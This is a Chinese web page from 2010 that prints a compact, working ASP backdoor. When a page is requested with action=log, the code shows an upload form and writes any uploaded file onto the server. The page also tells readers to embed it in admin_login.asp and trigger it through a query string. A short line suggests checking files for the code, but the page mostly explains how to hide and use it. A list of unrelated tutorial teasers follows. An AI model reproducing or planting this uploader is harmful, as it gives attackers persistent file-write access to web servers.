隐蔽的ASP后门 大家可以查看下
发布时间：2010-08-05 21:26:00
这段后门代码可以隐藏在asp文件中，大家可以搜索一些特点的关键字，查看文件的修改日期，看看是不是有如下的代码。
<％if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"\")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2％><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<％end if％>
比如编辑在“admin_login.asp”下
以后只需要输入“admin_login.asp?action=log”即可
0
投稿猜你喜欢
- phpMyAdmin 是一套可以通过WEB来管理 MySQL-server 以及单一数据库的 PHP
- 对于access数据库的日期时间类型字段存储的日期，直接从数据库中读出显示的效果是带时间的如，2009-06-13 18：00 ，如果只是希
- 目前定时的操作有：一、Html页面的定时刷新(Refresh－－刷新 ) 1，Refresh (刷新) 代码使用说明 说明：让网页多长时间（
- 生成静态页的方法有很多种，我比较喜欢用xmlhttp的方法生成，因为我不用考虑很多东西，我只要把动态的asp页面编写好就行了。<％ s
- 在我做过的N多项目中，基本都有个跑不开的怪圈——首页很难设计。根据进度安排，首页必须按时出来，不然没法review，也没法测试。于是，首页只
前言：话说，我一直没能理解美工究竟是什么（这是一篇投稿）。因为要求确实很多。目前，我只能理解成，是前端开发+页面设计+用户体验设计的全能手。- 你的SQL Server最近是否运行不正常?不，我指的不是我们肯定会遇到的通常的数据库和操作系统问题。我的意思是，你是否经历过服务器的反应迟
- 在开始安装SQL Server 2005数据库过程中，出现了下面的错误，安装不能继续进行：The SQL Server System Con
- 如何用表单在线建立目录？很简单，两个文件就搞定了：creatfolder.htm' 表单文件<form n
- 以下是服务端代码var HTTPREQUEST_PROXYSETTING_DEFAULT = 0;var&nb
- 学习了css一段时间,现在对css的一些技巧进行一次小结.希望能对那些刚学习css的新手们带来帮助.一、关于注释在创建xhtml+CSS网站
- 很多的朋友一而再，再而三的在Server.Mappath上卡壳，cnbruce也是一遍两遍地重复，还是不能全部解决，所以通过下面的举例，希望
- 先按照下面的表结构创建mysql_order_by_test数据表，我们用实例一点一点告诉你，MySQL order by的用法。ORDER
- 不知道工商银行帐号是否是这样的格式, 如果错了请大家见谅!<script language="javascript"
- 静态页面运行代码框你也许见的多了，而动态asp运行代码框你一定很少见到，看看本文吧！保存为runasp.asp运行。账号密码admin，登陆
- 内容摘要：我们在浏览一些文章的时候，当鼠标选中一些文字的时候，就出现了一些隐藏的字符，平常是看不到的。这些干扰码一般有两种，一是随机无意义的
- 以下效率，是奔腾 dual1.6G HZ，1G内存电脑，ie6.0下toggle()与slideToggle("fast"
- 同伪类的方式类似，伪元素通过对插人到文档中的虚构元素进行触发，从而达到某种效果。在CSS1里，有两个伪元素，即：first-letter和f
- 如果你正在负责一个基于SQL Server的项目，或者你刚刚接触SQL Server，你都有可能要面临一些数据库性能的问题，这篇文章会为你提
- 首次安装、运行MySQL时，你可能会遇到一些错误，使MySQL服务器不能启动。本节的目的是帮助你诊断并纠正这些错误。解决服务器问题时你的第一
